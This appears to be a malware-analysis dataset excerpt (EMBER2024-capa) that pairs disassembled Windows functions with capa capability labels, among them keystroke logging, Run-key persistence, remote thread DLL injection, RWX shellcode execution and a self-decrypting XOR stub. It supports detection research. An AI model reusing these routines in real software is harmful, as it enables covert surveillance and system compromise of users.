joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401210
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
mov ebx, dword [ebp + 0x14]
test ebx, ebx
jne 0x401227
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret 0x14
mov eax, dword [ebp + 0x18]
push edi
mov edi, dword [ebp + 0x10]
mov eax, dword [eax]
mov byte [eax + edi], 0x80
cmp byte [edi + 0x12], 0
mov dword [ebp - 0xc], eax
lea ecx, [eax + edi]
mov dword [ebp - 0x14], ecx
jne 0x401263
cmp byte [edi + 0xa4], 0
jne 0x401263
cmp byte [edi + 0xa5], 0
jne 0x401263
mov ecx, 0x100
mov dword [ebp - 4], 1
jmp 0x40126f
mov ecx, 0x104
mov dword [ebp - 4], 0x20000001
push esi
push dword [ebp + 0xc]
mov dword [ebp - 8], ecx
inc ecx
push 0
push eax
mov dword [ebp - 0x10], ecx
call dword [sym.imp.USER32.dll_MapVirtualKeyExW]
mov esi, eax
push 0
shl esi, 0x10
or esi, dword [ebp - 4]
push 0
push 0
push dword [ebp + 8]
mov eax, esi
or eax, 0xc0000000
mov dword [ebp - 4], eax
call dword [sym.imp.USER32.dll_SendMessageW]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
push esi
push dword [ebp - 0xc]
push dword [ebp - 8]
push dword [ebp + 8]
call dword [sym.imp.USER32.dll_PostMessageW]
push 0xd
mov esi, eax
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push 0
push 0
push dword [ebp + 8]
call dword [sym.imp.USER32.dll_SendMessageW]
push 0xd
call dword [sym.imp.KERNEL32.dll_Sleep]
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x578
jne 0x4012f8
pop esi
pop edi
mov eax, 1
pop ebx
mov esp, ebp
pop ebp
ret 0x14
push edi
call dword [sym.imp.USER32.dll_SetKeyboardState]
cmp ebx, 1
jle 0x401320
mov eax, dword [ebp + 0x18]
add eax, 4
push eax
lea eax, [ebx - 1]
mov ebx, dword [ebp + 8]
push eax
push edi
push dword [ebp + 0xc]
push ebx
call fcn.00401210
and esi, eax
jmp 0x401323
mov ebx, dword [ebp + 8]
push dword [ebp - 4]
push dword [ebp - 0xc]
push dword [ebp - 0x10]
push ebx
call dword [sym.imp.USER32.dll_PostMessageW]
push 0
and esi, eax
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push 0
push 0
push ebx
call dword [sym.imp.USER32.dll_SendMessageW]
mov eax, dword [ebp - 0x14]
push edi
mov byte [eax], 0
call dword [sym.imp.USER32.dll_SetKeyboardState]
mov eax, esi
pop esi
pop edi
pop ebx
mov esp, ebp
pop ebp
ret 0x14
Function at 0x401370
Capabilities:
Get keyboard layout
Log keystrokes
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x220
mov eax, dword [0x40c080]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 8]
push edi
mov edi, dword [ebp + 0xc]
mov dword [ebp - 0x210], ebx
test edi, edi
je 0x40155b
cmp word [edi], 0
je 0x40155b
push 0
push ebx
call dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
mov ebx, eax
mov dword [ebp - 0x220], ebx
test ebx, ebx
je 0x40155b
push esi
push 1
push ebx
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
push eax
call dword [sym.imp.USER32.dll_AttachThreadInput]
mov esi, eax
mov dword [ebp - 0x214], esi
test esi, esi
je 0x401546
push ebx
call dword [sym.imp.USER32.dll_GetKeyboardLayout]
mov ebx, eax
xor edx, edx
movzx eax, word [edi]
mov dword [ebp - 0x21c], ebx
mov dword [ebp - 0x218], edx
test ax, ax
je 0x401528
mov ecx, eax
mov dword [ebp - 0x20c], ecx
test ebx, ebx
je 0x40146b
test ecx, 0xff00
jne 0x40146b
push ebx
push ecx
mov byte [ebp - 0x205], 1
call dword [sym.imp.USER32.dll_VkKeyScanExW]
push ebx
movsx esi, ax
push 0
push esi
call dword [sym.imp.USER32.dll_MapVirtualKeyExW]
mov ebx, eax
lea eax, [ebp - 0x104]
push 0x100
push 0
shl ebx, 0x10
push eax
or ebx, 1
call sub.ntdll.dll_memset
add esp, 0xc
mov byte [ebp + esi - 0x104], 0x80
lea eax, [ebp - 0x104]
push eax
call dword [sym.imp.USER32.dll_SetKeyboardState]
mov esi, dword [ebp - 0x214]
jmp 0x401474
mov byte [ebp - 0x205], 0
xor ebx, ebx
push 0
push 0
push 0
push dword [ebp - 0x210]
call dword [sym.imp.USER32.dll_SendMessageW]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 0x20c]
push ebx
mov ebx, dword [ebp - 0x210]
movzx eax, ax
push eax
push 0x102
push ebx
call dword [sym.imp.USER32.dll_PostMessageW]
push 0
mov dword [ebp - 0x20c], eax
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push 0
push 0
push ebx
call dword [sym.imp.USER32.dll_SendMessageW]
cmp byte [ebp - 0x205], 0
je 0x4014f2
push 0x100
lea eax, [ebp - 0x204]
push 0
push eax
call sub.ntdll.dll_memset
add esp, 0xc
lea eax, [ebp - 0x204]
push eax
call dword [sym.imp.USER32.dll_SetKeyboardState]
mov edx, dword [ebp - 0x218]
add edi, 2
and esi, dword [ebp - 0x20c]
inc edx
mov ebx, dword [ebp - 0x21c]
mov dword [ebp - 0x214], esi
movzx eax, word [edi]
mov dword [ebp - 0x218], edx
mov ecx, eax
mov dword [ebp - 0x20c], ecx
test ax, ax
jne 0x401408
lea eax, [edx + edx*2]
push eax
call fcn.00401570
push 0
push dword [ebp - 0x220]
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
push eax
call dword [sym.imp.USER32.dll_AttachThreadInput]
mov eax, esi
pop esi
pop edi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00407c40
mov esp, ebp
pop ebp
ret 8
mov ecx, dword [ebp - 4]
xor eax, eax
pop edi
xor ecx, ebp
pop ebx
call fcn.00407c40
mov esp, ebp
pop ebp
ret 8
Function at 0x4048d0
Capabilities:
Accept command line arguments
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
call fcn.00407ce0
push 0x40c330
call fcn.00404a40
push 0x40c328
call fcn.00404a70
push str.ShadowBot.UI.VERIFIER
mov dword [section..data], 0x40c330
call fcn.00404bc0
lea eax, [ebp - 4]
mov dword [ebp - 4], 0
push eax
mov eax, dword [ebp + 8]
mov eax, dword [eax + 0x10]
push dword [eax + 0x44]
call dword [sym.imp.SHELL32.dll_CommandLineToArgvW]
mov edi, eax
xor ebx, ebx
mov eax, dword [ebp - 4]
cmp eax, 1
jne 0x40495f
push str.ShadowBot.UIVerifier
call fcn.004056c0
mov edi, eax
mov ecx, dword [edi]
mov esi, dword [ecx]
mov ecx, esi
call dword [0x40920c]
mov ecx, edi
call esi
mov ecx, dword [edi]
push ebx
mov esi, dword [ecx + 4]
mov ecx, esi
call dword [0x40920c]
mov ecx, edi
call esi
jmp 0x404a29
cmp eax, 3
jl 0x404a29
push 0x409d08
push dword [edi + 4]
call dword [sym.imp.ntdll.dll__wcsicmp]
add esp, 8
test eax, eax
jne 0x404a29
push str.ShadowBot.UIVerifier
call fcn.00405a00
mov ebx, eax
mov ecx, dword [section..data]
cmp ecx, section..data
je 0x4049bf
test dword [ecx + 0x1c], 0x1000
je 0x4049bf
cmp byte [ecx + 0x19], 5
jb 0x4049bf
push dword [edi + 8]
push 0x409ca0
push 0xa
push dword [ecx + 0x14]
push dword [ecx + 0x10]
call fcn.00404a80
push dword [edi + 8]
mov esi, dword [ebx]
call dword [sym.imp.ntdll.dll__wtoi]
mov esi, dword [esi + 8]
add esp, 4
mov ecx, esi
push eax
call dword [0x40920c]
mov ecx, ebx
call esi
mov dword [ebp - 8], eax
mov ecx, dword [section..data]
cmp ecx, section..data
je 0x404a13
test dword [ecx + 0x1c], 0x1000
je 0x404a13
cmp byte [ecx + 0x19], 5
jb 0x404a13
push eax
push dword [edi + 8]
push 0x409ca0
push 0xb
push dword [ecx + 0x14]
push dword [ecx + 0x10]
call fcn.004047a0
mov eax, dword [ebx]
push 0
mov esi, dword [eax + 4]
mov ecx, esi
call dword [0x40920c]
mov ecx, ebx
call esi
mov ebx, dword [ebp - 8]
call fcn.00404ae0
push ebx
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x405a80
Capabilities:
Enumerate gui resources

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov eax, dword [0x40c080]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov esi, dword [ebp + 8]
lea eax, [ebp - 0x14]
push edi
push eax
push esi
mov ebx, ecx
mov dword [ebp - 0x1c], esi
call dword [sym.imp.USER32.dll_GetClientRect]
push 0
push dword [ebx + 0x4c]
push 0
push esi
push 0
push 0
push 0
push 0
push 0x54a00044
push 0
push str.EDIT
push 0
call dword [sym.imp.USER32.dll_CreateWindowExW]
push 0
push 0xffffffffffffffff
push 0xc5
push eax
mov dword [ebx + 0xc], eax
call dword [sym.imp.USER32.dll_SendMessageW]
push 0x406d30
push 0xfffffffffffffffc
push dword [ebx + 0xc]
call dword [sym.imp.USER32.dll_SetWindowLongW]
push eax
push 0xffffffffffffffeb
push dword [ebx + 0xc]
call dword [sym.imp.USER32.dll_SetWindowLongW]
push 0
push dword [ebx + 0x4c]
push 0
push esi
push 0
push 0
push 0
push 0
push 0x54a00103
push 0
push str.COMBOBOX
push 0
call dword [sym.imp.USER32.dll_CreateWindowExW]
push 0
push dword [ebx + 0x4c]
mov dword [ebx + 0x10], eax
push 0
push esi
push 0
push 0
push 0
push 0
push 0x54a00000
push 0
push str.LISTBOX
push 0
call dword [sym.imp.USER32.dll_CreateWindowExW]
lea edi, [ebx + 0x24]
mov dword [ebx + 0x14], eax
xor esi, esi
mov dword [ebp - 0x20], edi
nop
push 0
push dword [ebx + 0x4c]
push esi
push dword [ebp - 0x1c]
push 0
push 0
push 0
push 0
push 0x54800001
push 0
push str.BUTTON
push 0
call dword [sym.imp.USER32.dll_CreateWindowExW]
inc esi
mov dword [edi], eax
lea edi, [edi + 4]
cmp esi, 8
jb 0x405b50
mov edi, dword [ebp - 0x20]
xor esi, esi
nop word [eax + eax]
push dword [esi + 0x409d64]
push dword [edi]
call dword [sym.imp.USER32.dll_SetWindowTextW]
push dword [esi + 0x409e80]
push 0xffffffffffffffeb
push dword [edi]
call dword [sym.imp.USER32.dll_SetWindowLongW]
add esi, 4
lea edi, [edi + 4]
cmp esi, 0x20
jb 0x405b90
push str.Refresh_ComboBox_Start
push ebx
call fcn.004062a0
add esp, 8
push 0
push 0
push 0x147
push dword [ebx + 0x10]
call dword [sym.imp.USER32.dll_SendMessageW]
push 0
push 0
push 0x14b
push dword [ebx + 0x10]
mov esi, eax
call dword [sym.imp.USER32.dll_SendMessageW]
push dword [ebx + 0x10]
push 0x404cc0
call dword [sym.imp.USER32.dll_EnumWindows]
push 0
push esi
push 0x14e
push dword [ebx + 0x10]
call dword [sym.imp.USER32.dll_SendMessageW]
push str.Refresh_ComboBox_Finish
push ebx
call fcn.004062a0
add esp, 8
push 0
push 0
push 0x14e
push dword [ebx + 0x10]
call dword [sym.imp.USER32.dll_SendMessageW]
push dword [ebp - 8]
mov ecx, ebx
push dword [ebp - 0xc]
call fcn.00405c50
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00407c40
mov esp, ebp
pop ebp
ret 4
Function at 0x401106
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x812004]
jne 0x401110
repz ret
jmp fcn.004014b0

Function at 0x4041ab
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x812004]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.004029d8
and dword [ebp - 0x14], 0
cmp dword [0x8149d0], 0
mov dword [ebp - 0x18], eax
jne 0x40425e
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x404306
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x404306
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x8149d0], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x8149d4], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x8149d8], eax
call edi
push eax
call esi
mov dword [0x8149e0], eax
test eax, eax
je 0x40425e
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x8149dc], eax
mov eax, dword [0x8149dc]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x4042b7
cmp dword [0x8149e0], ecx
je 0x4042b7
push eax
call esi
push dword [0x8149e0]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x4042b7
test ebx, ebx
je 0x4042b7
call edi
test eax, eax
je 0x4042ae
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x4042ae
test byte [ebp - 8], 1
jne 0x4042b7
or dword [ebp + 0x10], 0x200000
jmp 0x4042ea
mov eax, dword [0x8149d4]
cmp eax, dword [ebp - 0x18]
je 0x4042ea
push eax
call esi
test eax, eax
je 0x4042ea
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x4042ea
mov eax, dword [0x8149d8]
cmp eax, dword [ebp - 0x18]
je 0x4042ea
push eax
call esi
test eax, eax
je 0x4042ea
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x8149d0]
call esi
test eax, eax
je 0x404306
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x404308
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00401106
leave
ret
Function at 0x801860
Capabilities:
Create pipe

Disassembly:
mov eax, dword [0x812b20]
sub esp, 0x14
push ebx
mov ebx, dword [0x2fb7f9c]
push edi
mov edi, dword [0x2fba41c]
call fcn.008017e0
cmp dword [0x2fba41c], 0x2f
jne 0x8018c2
push 0
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsA]
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateNamedPipeW]
lea eax, [esp + 8]
push eax
lea ecx, [esp + 0x14]
push ecx
mov dword [esp + 0x10], 0
mov dword [esp + 0x14], 0
call dword [sym.imp.KERNEL32.dll_FileTimeToLocalFileTime]
call fcn.00801810
pop edi
pop ebx
add esp, 0x14
ret
Function at 0x801ba0
Capabilities:
Get disk information
Manipulate console buffer

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x820
mov eax, dword [0x812004]
xor eax, ebp
mov dword [ebp - 0x20], eax
mov dword [ebp - 4], 0
jmp 0x801bc5
mov eax, dword [ebp - 4]
add eax, 1
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0x1519a5
jge 0x801c0e
mov dword [0x2fba084], 0x8e46a6f0
cmp dword [0x2fba41c], 0x3dc
jne 0x801c0c
xor ecx, ecx
mov word [ebp - 8], cx
xor edx, edx
mov word [ebp - 6], dx
lea eax, [ebp - 0xc]
push eax
mov ecx, dword [ebp - 8]
push ecx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WriteConsoleOutputCharacterA]
push 0
call dword [sym.imp.KERNEL32.dll_GetTimeZoneInformation]
jmp 0x801bbc
mov dword [ebp - 0x10], 0
jmp 0x801c20
mov edx, dword [ebp - 0x10]
add edx, 1
mov dword [ebp - 0x10], edx
cmp dword [ebp - 0x10], 0x12cad2a
jge 0x801cb3
cmp dword [0x2fba41c], 0xa5f
jne 0x801c6a
push 0
call dword [sym.imp.KERNEL32.dll_FlushFileBuffers]
push 0
lea eax, [ebp - 0x420]
push eax
lea ecx, [ebp - 0x18]
push ecx
lea edx, [ebp - 0x1c]
push edx
lea eax, [ebp - 0x14]
push eax
push 0
lea ecx, [ebp - 0x820]
push ecx
push str.lewujuyenehuzehiji
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
cmp dword [ebp - 0x10], 0x84620b
jne 0x801c8e
mov edx, dword [0x813940]
mov dword [0x2fba41c], edx
mov eax, dword [0x2fba41c]
add eax, 0xa231
mov dword [0x2fba41c], eax
cmp dword [0x2fba41c], 0x141
jne 0x801cae
mov dword [0x814f08], 0xec58acac
mov dword [0x814f0c], 0xffffffff
jmp 0x801c17
call fcn.008018d0
jmp dword [0x2fb7f9c]
Function at 0x67a413a5
Capabilities:
Persist via run registry key
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x138
mov dword [esp + 8], 0x104
lea eax, [ebp - 0x10c]
mov dword [esp + 4], eax
mov dword [esp], 0
call sym._GetModuleFileNameA_12
sub esp, 0xc
mov dword [ebp - 0x110], 0
lea eax, [ebp - 0x110]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 0xf003f
mov dword [esp + 8], 0
mov dword [esp + 4], str.SoftwareMicrosoftWindowsCurrentVersionRun
mov dword [esp], 0x80000001
call sym._RegOpenKeyExA_20
sub esp, 0x14
test eax, eax
je 0x67a4141f
mov dword [esp], str.Error:_Cannot_open_the_registry_
call sym._puts
jmp 0x67a414ac
lea eax, [ebp - 0x10c]
mov dword [esp], eax
call sym._lstrlenA_4
sub esp, 4
add eax, 1
mov edx, eax
mov eax, dword [ebp - 0x110]
mov dword [esp + 0x14], edx
lea edx, [ebp - 0x10c]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], 1
mov dword [esp + 8], 0
mov dword [esp + 4], str.AutoRun
mov dword [esp], eax
call sym._RegSetValueExA_24
sub esp, 0x18
test eax, eax
je 0x67a4148f
mov dword [esp], str.Error:_Cannot_add_the_current_path_to_the_registry_
call sym._puts
mov eax, dword [ebp - 0x110]
mov dword [esp], eax
call sym._RegCloseKey_4
sub esp, 4
jmp 0x67a414ac
mov eax, dword [ebp - 0x110]
mov dword [esp], eax
call sym._RegCloseKey_4
sub esp, 4
mov dword [esp], str.Success:_Added_to_the_registry_
call sym._puts
leave
ret

Function at 0x67a4153c
Capabilities:
Create thread
Inject thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov eax, dword [ebp + 0xc]
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov dword [esp], 0x1f0fff
call sym._OpenProcess_12
sub esp, 0xc
mov dword [ebp - 0xc], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._strlen
mov dword [esp + 0x10], 4
mov dword [esp + 0xc], 0x1000
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._VirtualAllocEx_20
sub esp, 0x14
mov dword [ebp - 0x10], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._strlen
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], eax
mov eax, dword [ebp + 8]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x10]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._WriteProcessMemory_20
sub esp, 0x14
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov eax, dword [ebp - 0x10]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], sym._LoadLibraryA_4
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._CreateRemoteThread_28
sub esp, 0x1c
mov dword [ebp - 0x14], eax
mov dword [esp + 4], 0xffffffff
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._WaitForSingleObject_8
sub esp, 8
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._CloseHandle_4
sub esp, 4
nop
leave
ret
Function at 0x67a41635
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov dword [esp + 8], 2
mov dword [esp + 4], 0
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._fseek
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._ftell
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
mov dword [esp + 4], eax
mov dword [esp], str.File_size_is__d_n
call sym._printf
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._malloc
mov dword [ebp + 0xc], eax
cmp dword [ebp + 0xc], 0
jne 0x67a416a3
mov dword [esp], str.Malloc_failed_
call sym._puts
mov dword [esp], 1
call sym._exit
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._fseek
mov eax, dword [ebp - 0xc]
mov edx, dword [ebp + 8]
mov dword [esp + 0xc], edx
mov dword [esp + 8], eax
mov dword [esp + 4], 1
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
call sym._fread
mov eax, dword [ebp - 0xc]
leave
ret

Function at 0x67a41775
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov eax, dword [ebp + 0xc]
mov dword [esp + 0xc], 0x40
mov dword [esp + 8], 0x3000
mov dword [esp + 4], eax
mov dword [esp], 0
call sym._VirtualAlloc_16
sub esp, 0x10
mov dword [ebp - 0xc], eax
mov eax, dword [ebp + 0xc]
mov dword [esp + 8], eax
mov eax, dword [ebp + 8]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._memcpy
mov eax, dword [ebp - 0xc]
call eax
nop
leave
ret

Function at 0x67a41b60
Capabilities:
Get thread local storage value

Disassembly:
push esi
push ebx
sub esp, 0x14
mov dword [esp], 0x67a4603c
call sym._EnterCriticalSection_4
mov ebx, dword [0x67a46034]
sub esp, 4
test ebx, ebx
je 0x67a41bab
nop
mov eax, dword [ebx]
mov dword [esp], eax
call sym._TlsGetValue_4
sub esp, 4
mov esi, eax
call sym._GetLastError_0
test eax, eax
jne 0x67a41ba4
test esi, esi
je 0x67a41ba4
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x67a41b80
mov dword [esp], 0x67a4603c
call sym._LeaveCriticalSection_4
sub esp, 4
add esp, 0x14
pop ebx
pop esi
ret

Function at 0x67a41d90
Capabilities:
Write file on windows

Disassembly:
push esi
push ebx
sub esp, 0x14
mov eax, dword [sym.imp.msvcrt.dll__iob]
mov dword [esp + 8], 0x17
mov dword [esp + 4], 1
lea esi, [esp + 0x24]
mov dword [esp], 0x67a4427c
lea ebx, [eax + 0x40]
mov dword [esp + 0xc], ebx
call sym._fwrite
mov eax, dword [esp + 0x20]
mov dword [esp + 8], esi
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._vfprintf
call sym._abort
lea esi, [esi]
Function at 0x67a41de0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
push edi
mov edi, ecx
push esi
push ebx
mov ebx, eax
mov esi, edx
sub esp, 0x4c
lea eax, [esp + 0x24]
mov dword [esp + 8], 0x1c
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._VirtualQuery_12
sub esp, 0xc
test eax, eax
je 0x67a41eb8
mov eax, dword [esp + 0x38]
cmp eax, 0x40
je 0x67a41e1e
cmp eax, 4
jne 0x67a41e40
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
call sym._memcpy
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov eax, dword [esp + 0x30]
lea ebp, [esp + 0x20]
mov dword [esp + 8], 0x40
mov dword [esp + 0xc], ebp
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
mov edx, dword [esp + 0x38]
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
mov dword [esp + 0x1c], edx
call sym._memcpy
mov edx, dword [esp + 0x1c]
cmp edx, 0x40
je 0x67a41e2e
cmp edx, 4
je 0x67a41e2e
mov eax, dword [esp + 0x20]
mov dword [esp + 0xc], ebp
mov dword [esp + 8], eax
mov eax, dword [esp + 0x30]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov dword [esp + 8], ebx
mov dword [esp + 4], 0x1c
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
call fcn.67a41d90
Function at 0x41c998
Capabilities:
Hash data with md5
Initialize hashing via wincrypt

Disassembly:
push ebp
mov ebp, esp
push ebx
sub esp, 0x10
mov ebx, dword [ebp + 8]
push 0xf0000000
push 1
push 0
push 0
push ebx
call sub.ADVAPI32.DLL_CryptAcquireContextA
add esp, 0xc
test eax, eax
je 0x41c9d4
sub esp, 0xc
lea eax, [ebx + 4]
push eax
push 0
push 0
push 0x8003
push dword [ebx]
call sub.ADVAPI32.DLL_CryptCreateHash
add esp, 0xc
mov ebx, dword [ebp - 4]
leave
ret

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx